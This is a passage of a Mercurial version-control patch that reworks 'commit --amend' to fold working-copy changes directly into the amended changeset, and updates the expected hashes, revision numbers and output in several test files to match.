                 try:
-                    fctx = ctx[path]
+                    # If the file being considered is not amongst the files
+                    # to be amended, we should return the file context from the
+                    # old changeset. This avoids issues when only some files in
+                    # the working copy are being amended but there are also
+                    # changes to other files from the old changeset.
+                    if path not in filestoamend:
+                        return old.filectx(path)
+
+                    fctx = wctx[path]
+
+                    # Return None for removed files.
+                    if not fctx.exists():
+                        return None
+
                     flags = fctx.flags()
                     mctx = context.memfilectx(repo,
                                               fctx.path(), fctx.data(),
@@ -3127,11 +3128,14 @@
                 except KeyError:
                     return None
 
-            user = opts.get('user') or old.user()
-            date = opts.get('date') or old.date()
+        # See if we got a message from -m or -l, if not, open the editor with
+        # the message of the changeset to amend.
+        message = logmessage(ui, opts)
+
         editform = mergeeditform(old, 'commit.amend')
         editor = getcommiteditor(editform=editform,
                                  **pycompat.strkwargs(opts))
+
         if not message:
             editor = getcommiteditor(edit=True, editform=editform)
             message = old.description()
@@ -3150,7 +3154,7 @@
                              editor=editor)
 
         newdesc = changelog.stripdesc(new.description())
-        if ((not node)
+        if ((not changes)
             and newdesc == old.description()
             and user == old.user()
             and date == old.date()
@@ -3172,10 +3176,27 @@
         # Reroute the working copy parent to the new changeset
         repo.setparents(newid, nullid)
         mapping = {old.node(): (newid,)}
-        if node:
-            mapping[node] = ()
         scmutil.cleanupnodes(repo, mapping, 'amend')
 
+        # Fixing the dirstate because localrepo.commitctx does not update
+        # it. This is rather convenient because we did not need to update
+        # the dirstate for all the files in the new commit which commitctx
+        # could have done if it updated the dirstate. Now, we can
+        # selectively update the dirstate only for the amended files.
+        dirstate = repo.dirstate
+
+        # Update the state of the files which were added and
+        # and modified in the amend to "normal" in the dirstate.
+        normalfiles = set(wctx.modified() + wctx.added()) & filestoamend
+        for f in normalfiles:
+            dirstate.normal(f)
+
+        # Update the state of files which were removed in the amend
+        # to "removed" in the dirstate.
+        removedfiles = set(wctx.removed()) & filestoamend
+        for f in removedfiles:
+            dirstate.drop(f)
+
     return newid
 
 def commiteditor(repo, ctx, subs, editform=''):
diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -29,7 +29,7 @@
   $ echo 2 >> B
 
   $ hg amend
-  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/112478962961-af2c0941-amend.hg (glob) (obsstore-off !)
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/112478962961-7e959a55-amend.hg (glob) (obsstore-off !)
 #if obsstore-off
   $ hg log -p -G --hidden -T '{rev} {node|short} {desc}\n'
   @  1 be169c7e8dbe B
@@ -51,7 +51,7 @@
   
 #else
   $ hg log -p -G --hidden -T '{rev} {node|short} {desc}\n'
-  @  3 be169c7e8dbe B
+  @  2 be169c7e8dbe B
   |  diff --git a/B b/B
   |  new file mode 100644
   |  --- /dev/null
@@ -59,15 +59,6 @@
   |  @@ -0,0 +1,1 @@
   |  +B2
   |
-  | x  2 edf08988b141 temporary amend commit for 112478962961
-  | |  diff --git a/B b/B
-  | |  --- a/B
-  | |  +++ b/B
-  | |  @@ -1,1 +1,1 @@
-  | |  -B
-  | |  \ No newline at end of file
-  | |  +B2
-  | |
   | x  1 112478962961 B
   |/   diff --git a/B b/B
   |    new file mode 100644
@@ -100,13 +91,13 @@
   $ echo 4 > D
   $ hg add C D
   $ hg amend -m NEWMESSAGE -I C
-  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/be169c7e8dbe-c24d73fe-amend.hg (glob) (obsstore-off !)
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/be169c7e8dbe-7684ddc5-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc} {files}\n'
   c7ba14d9075b NEWMESSAGE B C
   $ echo 5 > E
   $ rm C
   $ hg amend -d '2000 1000' -u 'Foo <foo@example.com>' -A C D
-  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/c7ba14d9075b-b26ed45c-amend.hg (glob) (obsstore-off !)
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/c7ba14d9075b-b3e76daa-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc} {files} {author} {date}\n'
   14f6c4bcc865 NEWMESSAGE B D Foo <foo@example.com> 2000.01000
 
@@ -153,7 +144,7 @@
   new file mode 100644
   examine changes to 'G'? [Ynesfdaq?] n
   
-  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/507be9bdac71-7ae43d04-amend.hg (glob) (obsstore-off !)
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/507be9bdac71-c8077452-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{files}\n'
   B D F
 
@@ -186,7 +177,7 @@
 
   $ hg amend
   $ hg log -T '{rev} {node|short} {desc}\n' -G
-  @  4 be169c7e8dbe B
+  @  3 be169c7e8dbe B
   |
   | o  2 26805aba1e60 C
   | |
diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -40,7 +40,7 @@
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend -m 'amend base1'
   pretxncommit 43f1ba15f28a50abf0aae529cf8a16bfced7b149
   43f1ba15f28a tip
-  saved backup bundle to $TESTTMP/.hg/strip-backup/489edb5b847d-f1bf3ab8-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/489edb5b847d-5ab4f721-amend.hg (glob)
   $ echo 'pretxncommit.foo = ' >> $HGRCPATH
   $ hg diff -c .
   diff -r ad120869acf0 -r 43f1ba15f28a a
@@ -69,31 +69,36 @@
   > #!/bin/sh
   > echo "" > "$1"
   > __EOF__
+
+Update the existing file to ensure that the dirstate is not in pending state
+(where the status of some files in the working copy is not known yet). This in
+turn ensures that when the transaction is aborted due to an empty message during
+the amend, there should be no rollback.
+  $ echo a >> a
+
   $ echo b > b
   $ hg add b
   $ hg summary
   parent: 1:43f1ba15f28a tip
    amend base1
   branch: default
-  commit: 1 added, 1 unknown
+  commit: 1 modified, 1 added, 1 unknown
   update: (current)
   phases: 2 draft
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend
-  transaction abort!
-  rollback completed
   abort: empty commit message
   [255]
   $ hg summary
   parent: 1:43f1ba15f28a tip
    amend base1
   branch: default
-  commit: 1 added, 1 unknown
+  commit: 1 modified, 1 added, 1 unknown
   update: (current)
   phases: 2 draft
 
-Add new file:
+Add new file along with modified existing file:
   $ hg ci --amend -m 'amend base1 new file'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/43f1ba15f28a-7a3b3496-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/43f1ba15f28a-007467c2-amend.hg (glob)
 
 Remove file that was added in amended commit:
 (and test logfile option)
@@ -102,17 +107,17 @@
   $ hg rm b
   $ echo 'amend base1 remove new file' > ../logfile
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg ci --amend --logfile ../logfile
-  saved backup bundle to $TESTTMP/.hg/strip-backup/b8e3cb2b3882-0b55739a-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/c16295aaf401-1ada9901-amend.hg (glob)
 
   $ hg cat b
-  b: no such file in rev 74609c7f506e
+  b: no such file in rev 47343646fa3d
   [1]
 
 No changes, just a different message:
 
   $ hg ci -v --amend -m 'no changes, new message'
-  amending changeset 74609c7f506e
-  copying changeset 74609c7f506e to ad120869acf0
+  amending changeset 47343646fa3d
+  copying changeset 47343646fa3d to ad120869acf0
   committing files:
   a
   committing manifest
@@ -121,29 +126,30 @@
   uncompressed size of bundle content:
        254 (changelog)
        163 (manifests)
-       129  a
-  saved backup bundle to $TESTTMP/.hg/strip-backup/74609c7f506e-1bfde511-amend.hg (glob)
+       131  a
+  saved backup bundle to $TESTTMP/.hg/strip-backup/47343646fa3d-c2758885-amend.hg (glob)
   1 changesets found
   uncompressed size of bundle content:
        250 (changelog)
        163 (manifests)
-       129  a
+       131  a
   adding branch
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
-  committed changeset 1:1cd866679df8
+  committed changeset 1:401431e913a1
   $ hg diff -c .
-  diff -r ad120869acf0 -r 1cd866679df8 a
+  diff -r ad120869acf0 -r 401431e913a1 a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:00 1970 +0000
-  @@ -1,1 +1,3 @@
+  @@ -1,1 +1,4 @@
    a
   +a
   +a
+  +a
   $ hg log
-  changeset:   1:1cd866679df8
+  changeset:   1:401431e913a1
   tag:         tip
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
@@ -168,12 +174,12 @@
   > EOF
   $ HGEDITOR="sh .hg/checkeditform.sh" hg ci --amend -u foo -d '1 0'
   HGEDITFORM=commit.amend.normal
-  saved backup bundle to $TESTTMP/.hg/strip-backup/1cd866679df8-5f5bcb85-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/401431e913a1-5e8e532c-amend.hg (glob)
   $ echo a >> a
   $ hg ci --amend -u foo -d '1 0'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/780e6f23e03d-83b10a27-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/d96b1d28ae33-677e0afb-amend.hg (glob)
   $ hg log -r .
-  changeset:   1:5f357c7560ab
+  changeset:   1:a9a13940fc03
   tag:         tip
   user:        foo
   date:        Thu Jan 01 00:00:01 1970 +0000
@@ -197,8 +203,8 @@
 
   $ rm -f .hg/last-message.txt
   $ hg commit --amend -v -m "message given from command line"
-  amending changeset 5f357c7560ab
-  copying changeset 5f357c7560ab to ad120869acf0
+  amending changeset a9a13940fc03
+  copying changeset a9a13940fc03 to ad120869acf0
   committing files:
   a
   committing manifest
@@ -213,8 +219,8 @@
 
   $ rm -f .hg/last-message.txt
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend -v
-  amending changeset 5f357c7560ab
-  copying changeset 5f357c7560ab to ad120869acf0
+  amending changeset a9a13940fc03
+  copying changeset a9a13940fc03 to ad120869acf0
   no changes, new message
   
   
@@ -245,8 +251,8 @@
 then, test editing custom commit message
 
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend -v
-  amending changeset 5f357c7560ab
-  copying changeset 5f357c7560ab to ad120869acf0
+  amending changeset a9a13940fc03
+  copying changeset a9a13940fc03 to ad120869acf0
   no changes, new message
   
   
@@ -264,30 +270,25 @@
   uncompressed size of bundle content:
        249 (changelog)
        163 (manifests)
-       131  a
-  saved backup bundle to $TESTTMP/.hg/strip-backup/5f357c7560ab-e7c84ade-amend.hg (glob)
+       133  a
+  saved backup bundle to $TESTTMP/.hg/strip-backup/a9a13940fc03-7c2e8674-amend.hg (glob)
   1 changesets found
   uncompressed size of bundle content:
        257 (changelog)
        163 (manifests)
-       131  a
+       133  a
   adding branch
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
-  committed changeset 1:7ab3bf440b54
+  committed changeset 1:64a124ba1b44
 
 Same, but with changes in working dir (different code path):
 
   $ echo a >> a
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend -v
-  amending changeset 7ab3bf440b54
-  committing files:
-  a
-  committing manifest
-  committing changelog
-  copying changeset a0ea9b1a4c8c to ad120869acf0
+  amending changeset 64a124ba1b44
   another precious commit message
   
   
@@ -301,27 +302,27 @@
   a
   committing manifest
   committing changelog
-  2 changesets found
-  uncompressed size of bundle content:
-       464 (changelog)
-       322 (manifests)
-       249  a
-  saved backup bundle to $TESTTMP/.hg/strip-backup/7ab3bf440b54-8e3b5088-amend.hg (glob)
   1 changesets found
   uncompressed size of bundle content:
        257 (changelog)
        163 (manifests)
        133  a
+  saved backup bundle to $TESTTMP/.hg/strip-backup/64a124ba1b44-10374b8f-amend.hg (glob)
+  1 changesets found
+  uncompressed size of bundle content:
+       257 (changelog)
+       163 (manifests)
+       135  a
   adding branch
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
-  committed changeset 1:ea22a388757c
+  committed changeset 1:7892795b8e38
 
   $ rm editor.sh
   $ hg log -r .
-  changeset:   1:ea22a388757c
+  changeset:   1:7892795b8e38
   tag:         tip
   user:        foo
   date:        Thu Jan 01 00:00:01 1970 +0000
@@ -333,16 +334,16 @@
   $ hg book book1
   $ hg book book2
   $ hg ci --amend -m 'move bookmarks'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/ea22a388757c-e51094db-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/7892795b8e38-3fb46217-amend.hg (glob)
   $ hg book
-     book1                     1:6cec5aa930e2
-   * book2                     1:6cec5aa930e2
+     book1                     1:8311f17e2616
+   * book2                     1:8311f17e2616
   $ echo a >> a
   $ hg ci --amend -m 'move bookmarks'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/6cec5aa930e2-e9b06de4-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/8311f17e2616-f0504fe3-amend.hg (glob)
   $ hg book
-     book1                     1:48bb6e53a15f
-   * book2                     1:48bb6e53a15f
+     book1                     1:a3b65065808c
+   * book2                     1:a3b65065808c
 
 abort does not loose bookmarks
 
@@ -352,13 +353,11 @@
   > __EOF__
   $ echo a >> a
   $ HGEDITOR="\"sh\" \"`pwd`/editor.sh\"" hg commit --amend
-  transaction abort!
-  rollback completed
   abort: empty commit message
   [255]
   $ hg book
-     book1                     1:48bb6e53a15f
-   * book2                     1:48bb6e53a15f
+     book1                     1:a3b65065808c
+   * book2                     1:a3b65065808c
   $ hg revert -Caq
   $ rm editor.sh
 
@@ -375,9 +374,9 @@
   $ hg branch default -f
   marked working directory as branch default
   $ hg ci --amend -m 'back to default'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/8ac881fbf49d-fd962fef-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/f8339a38efe1-c18453c9-amend.hg (glob)
   $ hg branches
-  default                        2:ce12b0b57d46
+  default                        2:9c07515f2650
 
 Close branch:
 
@@ -391,7 +390,7 @@
   $ echo b >> b
   $ hg ci -mb
   $ hg ci --amend --close-branch -m 'closing branch foo'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/c962248fa264-6701c392-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/c962248fa264-54245dc7-amend.hg (glob)
 
 Same thing, different code path:
 
@@ -400,9 +399,9 @@
   reopening closed branch head 4
   $ echo b >> b
   $ hg ci --amend --close-branch
-  saved backup bundle to $TESTTMP/.hg/strip-backup/027371728205-49c0c55d-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/027371728205-b900d9fa-amend.hg (glob)
   $ hg branches
-  default                        2:ce12b0b57d46
+  default                        2:9c07515f2650
 
 Refuse to amend during a merge:
 
@@ -421,7 +420,7 @@
   $ hg ci -m 'b -> c'
   $ hg mv c d
   $ hg ci --amend -m 'b -> d'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/b8c6eac7f12e-adaaa8b1-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/42f3f27a067d-f23cc9f7-amend.hg (glob)
   $ hg st --rev '.^' --copies d
   A d
     b
@@ -429,7 +428,7 @@
   $ hg ci -m 'e = d'
   $ hg cp e f
   $ hg ci --amend -m 'f = d'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/7f9761d65613-d37aa788-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/9198f73182d5-251d584a-amend.hg (glob)
   $ hg st --rev '.^' --copies f
   A f
     d
@@ -440,7 +439,7 @@
   $ hg cp a f
   $ mv f.orig f
   $ hg ci --amend -m replacef
-  saved backup bundle to $TESTTMP/.hg/strip-backup/9e8c5f7e3d95-90259f67-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/f0993ab6b482-eda301bf-amend.hg (glob)
   $ hg st --change . --copies
   $ hg log -r . --template "{file_copies}\n"
   
@@ -452,7 +451,7 @@
   adding g
   $ hg mv g h
   $ hg ci --amend
-  saved backup bundle to $TESTTMP/.hg/strip-backup/24aa8eacce2b-7059e0f1-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/58585e3f095c-0f5ebcda-amend.hg (glob)
   $ hg st --change . --copies h
   A h
   $ hg log -r . --template "{file_copies}\n"
@@ -472,11 +471,11 @@
   $ echo a >> a
   $ hg ci -ma
   $ hg ci --amend -m "a'"
-  saved backup bundle to $TESTTMP/.hg/strip-backup/3837aa2a2fdb-2be01fd1-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/39a162f1d65e-9dfe13d8-amend.hg (glob)
   $ hg log -r . --template "{branch}\n"
   a
   $ hg ci --amend -m "a''"
-  saved backup bundle to $TESTTMP/.hg/strip-backup/c05c06be7514-ed28c4cd-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/d5ca7b1ac72b-0b4c1a34-amend.hg (glob)
   $ hg log -r . --template "{branch}\n"
   a
 
@@ -493,9 +492,9 @@
   $ hg graft 12
   grafting 12:2647734878ef "fork" (tip)
   $ hg ci --amend -m 'graft amend'
-  saved backup bundle to $TESTTMP/.hg/strip-backup/bd010aea3f39-eedb103b-amend.hg (glob)
+  saved backup bundle to $TESTTMP/.hg/strip-backup/fe8c6f7957ca-25638666-amend.hg (glob)
   $ hg log -r . --debug | grep extra
-  extra:       amend_source=bd010aea3f39f3fb2a2f884b9ccb0471cd77398e
+  extra:       amend_source=fe8c6f7957ca1665ed77496ed7a07657d469ac60
   extra:       branch=a
   extra:       source=2647734878ef0236dda712fae9c1651cf694ea8a
 
@@ -531,26 +530,26 @@
   $ hg id -n
   14
   $ hg log -Gl 3 --style=compact
-  @  14[tip]:11   b650e6ee8614   1970-01-01 00:00 +0000   test
+  @  14[tip]:11   682950e85999   1970-01-01 00:00 +0000   test
   |    babar
   |
   | o  12:0   2647734878ef   1970-01-01 00:00 +0000   test
   | |    fork
   | ~
-  o  11   3334b7925910   1970-01-01 00:00 +0000   test
+  o  11   0ddb275cfad1   1970-01-01 00:00 +0000   test
   |    a''
   ~
   $ hg log -Gl 4 --hidden --style=compact
-  @  14[tip]:11   b650e6ee8614   1970-01-01 00:00 +0000   test
+  @  14[tip]:11   682950e85999   1970-01-01 00:00 +0000   test
   |    babar
   |
-  | x  13:11   68ff8ff97044   1970-01-01 00:00 +0000   test
+  | x  13:11   5167600b0f7a   1970-01-01 00:00 +0000   test
   |/     amend for phase
   |
   | o  12:0   2647734878ef   1970-01-01 00:00 +0000   test
   | |    fork
   | ~
-  o  11   3334b7925910   1970-01-01 00:00 +0000   test
+  o  11   0ddb275cfad1   1970-01-01 00:00 +0000   test
   |    a''
   ~
 
@@ -562,23 +561,23 @@
   $ echo 'babar' >> a
   $ hg commit --amend
   $ hg log -Gl 6 --hidden --style=compact
-  @  16[tip]:11   9f9e9bccf56c   1970-01-01 00:00 +0000   test
+  @  15[tip]:11   a5b42b49b0d5   1970-01-01 00:00 +0000   test
   |    babar
   |
-  | x  15   90fef497c56f   1970-01-01 00:00 +0000   test
-  | |    temporary amend commit for b650e6ee8614
-  | |
-  | x  14:11   b650e6ee8614   1970-01-01 00:00 +0000   test
+  | x  14:11   682950e85999   1970-01-01 00:00 +0000   test
   |/     babar
   |
-  | x  13:11   68ff8ff97044   1970-01-01 00:00 +0000   test
+  | x  13:11   5167600b0f7a   1970-01-01 00:00 +0000   test
   |/     amend for phase
   |
   | o  12:0   2647734878ef   1970-01-01 00:00 +0000   test
   | |    fork
   | ~
-  o  11   3334b7925910   1970-01-01 00:00 +0000   test
+  o  11   0ddb275cfad1   1970-01-01 00:00 +0000   test
   |    a''
+  |
+  o  10   5fa75032e226   1970-01-01 00:00 +0000   test
+  |    g
   ~
 
 
@@ -586,12 +585,12 @@
 ---------------------------------------------------------------------
 
   $ hg id -r 14 --hidden
-  b650e6ee8614 (a)
+  682950e85999 (a)
   $ hg revert -ar 14 --hidden
   reverting a
   $ hg commit --amend
   $ hg id
-  b99e5df575f7 (a) tip
+  37973c7e0b61 (a) tip
 
 Test that rewriting leaving instability behind is allowed
 ---------------------------------------------------------------------
@@ -600,14 +599,14 @@
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ echo 'b' >> a
   $ hg log --style compact -r 'children(.)'
-  18[tip]:11   b99e5df575f7   1970-01-01 00:00 +0000   test
+  16[tip]:11   37973c7e0b61   1970-01-01 00:00 +0000   test
     babar
   
   $ hg commit --amend
   $ hg log -r 'orphan()'
-  changeset:   18:b99e5df575f7
+  changeset:   16:37973c7e0b61
   branch:      a
-  parent:      11:3334b7925910
+  parent:      11:0ddb275cfad1
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   instability: orphan
@@ -635,10 +634,10 @@
   (no more unresolved files)
   $ hg ci -m 'merge bar'
   $ hg log --config diff.git=1 -pr .
-  changeset:   23:163cfd7219f7
+  changeset:   20:163cfd7219f7
   tag:         tip
-  parent:      22:30d96aeaf27b
-  parent:      21:1aa437659d19
+  parent:      19:30d96aeaf27b
+  parent:      18:1aa437659d19
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar
@@ -668,10 +667,10 @@
   $ HGEDITOR="sh .hg/checkeditform.sh" hg ci --amend -m 'merge bar (amend message)' --edit
   HGEDITFORM=commit.amend.merge
   $ hg log --config diff.git=1 -pr .
-  changeset:   24:bca52d4ed186
+  changeset:   21:bca52d4ed186
   tag:         tip
-  parent:      22:30d96aeaf27b
-  parent:      21:1aa437659d19
+  parent:      19:30d96aeaf27b
+  parent:      18:1aa437659d19
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar (amend message)
@@ -701,10 +700,10 @@
   $ hg mv zz z
   $ hg ci --amend -m 'merge bar (undo rename)'
   $ hg log --config diff.git=1 -pr .
-  changeset:   26:12594a98ca3f
+  changeset:   22:12594a98ca3f
   tag:         tip
-  parent:      22:30d96aeaf27b
-  parent:      21:1aa437659d19
+  parent:      19:30d96aeaf27b
+  parent:      18:1aa437659d19
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar (undo rename)
@@ -737,10 +736,10 @@
   $ echo aa >> aaa
   $ hg ci -m 'merge bar again'
   $ hg log --config diff.git=1 -pr .
-  changeset:   28:dffde028b388
+  changeset:   24:dffde028b388
   tag:         tip
-  parent:      26:12594a98ca3f
-  parent:      27:4c94d5bc65f5
+  parent:      22:12594a98ca3f
+  parent:      23:4c94d5bc65f5
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar again
@@ -772,10 +771,10 @@
   $ hg mv aaa aa
   $ hg ci --amend -m 'merge bar again (undo rename)'
   $ hg log --config diff.git=1 -pr .
-  changeset:   30:18e3ba160489
+  changeset:   25:18e3ba160489
   tag:         tip
-  parent:      26:12594a98ca3f
-  parent:      27:4c94d5bc65f5
+  parent:      22:12594a98ca3f
+  parent:      23:4c94d5bc65f5
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar again (undo rename)
@@ -814,10 +813,10 @@
   use (c)hanged version, (d)elete, or leave (u)nresolved? c
   $ hg ci -m 'merge bar (with conflicts)'
   $ hg log --config diff.git=1 -pr .
-  changeset:   33:b4c3035e2544
+  changeset:   28:b4c3035e2544
   tag:         tip
-  parent:      32:4b216ca5ba97
-  parent:      31:67db8847a540
+  parent:      27:4b216ca5ba97
+  parent:      26:67db8847a540
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar (with conflicts)
@@ -826,10 +825,10 @@
   $ hg rm aa
   $ hg ci --amend -m 'merge bar (with conflicts, amended)'
   $ hg log --config diff.git=1 -pr .
-  changeset:   35:1205ed810051
+  changeset:   29:1205ed810051
   tag:         tip
-  parent:      32:4b216ca5ba97
-  parent:      31:67db8847a540
+  parent:      27:4b216ca5ba97
+  parent:      26:67db8847a540
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     merge bar (with conflicts, amended)
@@ -870,12 +869,12 @@
 ---------------------------------------------------------------------
 
   $ hg phase '.^::.'
-  35: draft
-  36: draft
+  29: draft
+  30: draft
   $ hg commit --amend --secret -m 'amend as secret' -q
   $ hg phase '.^::.'
-  35: draft
-  38: secret
+  29: draft
+  31: secret
 
 Test that amend with --edit invokes editor forcibly
 ---------------------------------------------------
@@ -1065,12 +1064,12 @@
   o  0 a0
   
 
-The way mercurial does amends is to create a temporary commit (rev 3) and then
-fold the new and old commits together into another commit (rev 4). During this
-process, _findlimit is called to check how far back to look for the transitive
-closure of file copy information, but due to the divergence of the filelog
-and changelog graph topologies, before _findlimit was fixed, it returned a rev
-which was not far enough back in this case.
+The way mercurial does amends is by folding the working copy and old commit
+together into another commit (rev 3). During this process, _findlimit is called
+to  check how far back to look for the transitive closure of file copy
+information, but due to the divergence of the filelog and changelog graph
+topologies, before _findlimit was fixed, it returned a rev which was not far
+enough back in this case.
   $ hg mv a1 a2
   $ hg status --copies --rev 0
   A a2
@@ -1078,7 +1077,7 @@
   R a0
   $ hg ci --amend -q
   $ hg log -G --template '{rev} {desc}'
-  @  4 a1-amend
+  @  3 a1-amend
   |
   | o  1 a1
   |/
@@ -1161,10 +1160,10 @@
   $ hg ci --amend -m "chmod amended"
   $ hg ci --amend -m "chmod amended second time"
   $ hg log -p --git -r .
-  changeset:   8:b1326f52dddf
+  changeset:   7:b1326f52dddf
   branch:      newdirname
   tag:         tip
-  parent:      5:7fd235f7cb2f
+  parent:      4:7fd235f7cb2f
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
   summary:     chmod amended second time
diff --git a/tests/test-commit-interactive-curses.t b/tests/test-commit-interactive-curses.t
--- a/tests/test-commit-interactive-curses.t
+++ b/tests/test-commit-interactive-curses.t
@@ -206,7 +206,7 @@
   > X
   > EOF
   $ hg commit -i  -m "newly added file" -d "0 0"
-  saved backup bundle to $TESTTMP/a/.hg/strip-backup/2b0e9be4d336-28bbe4e2-amend.hg (glob)
+  saved backup bundle to $TESTTMP/a/.hg/strip-backup/2b0e9be4d336-3cf0bc8c-amend.hg (glob)
   $ hg diff -c .
   diff -r a6735021574d -r c1d239d165ae x
   --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -43,23 +43,22 @@
   $ hg commit --amend b
   $ hg histedit --continue
   $ hg log -G
-  @  6:46abc7c4d873 b
+  @  5:46abc7c4d873 b
   |
-  o  5:49d44ab2be1b c
+  o  4:49d44ab2be1b c
   |
   o  0:cb9a9f314b8b a
   
   $ hg debugobsolete
   e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
-  3e30a45cf2f719e96ab3922dfe039cfd047956ce 0 {e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf} (*) {'user': 'test'} (glob)
   1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (*) {'user': 'test'} (glob)
   114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
 
 With some node gone missing during the edit.
 
   $ echo "pick `hg log -r 0 -T '{node|short}'`" > plan
-  $ echo "pick `hg log -r 6 -T '{node|short}'`" >> plan
-  $ echo "edit `hg log -r 5 -T '{node|short}'`" >> plan
+  $ echo "pick `hg log -r 5 -T '{node|short}'`" >> plan
+  $ echo "edit `hg log -r 4 -T '{node|short}'`" >> plan
   $ hg histedit -r 'all()' --commands plan
   Editing (49d44ab2be1b), you may commit or record as needed now.
   (hg histedit --continue to resume)
@@ -73,15 +72,14 @@
   $ hg --hidden --config extensions.strip= strip 'desc(XXXXXX)' --no-backup
   $ hg histedit --continue
   $ hg log -G
-  @  9:273c1f3b8626 c
+  @  8:273c1f3b8626 c
   |
-  o  8:aba7da937030 b2
+  o  7:aba7da937030 b2
   |
   o  0:cb9a9f314b8b a
   
   $ hg debugobsolete
   e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
-  3e30a45cf2f719e96ab3922dfe039cfd047956ce 0 {e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf} (*) {'user': 'test'} (glob)
   1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (*) {'user': 'test'} (glob)
   114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
   76f72745eac0643d16530e56e2f86e36e40631f1 2ca853e48edbd6453a0674dc0fe28a0974c51b9c 0 (*) {'user': 'test'} (glob)
diff --git a/tests/test-log.t b/tests/test-log.t
--- a/tests/test-log.t
+++ b/tests/test-log.t
@@ -2300,14 +2300,14 @@
   $ hg up 'head() and not .'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg log -G
-  o  changeset:   4:db815d6d32e6
+  o  changeset:   3:db815d6d32e6
   |  tag:         tip
   |  parent:      0:f7b1eb17ad24
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
   |  summary:     2
   |
-  | @  changeset:   3:9bc8ce7f9356
+  | @  changeset:   2:9bc8ce7f9356
   |/   parent:      0:f7b1eb17ad24
   |    user:        test
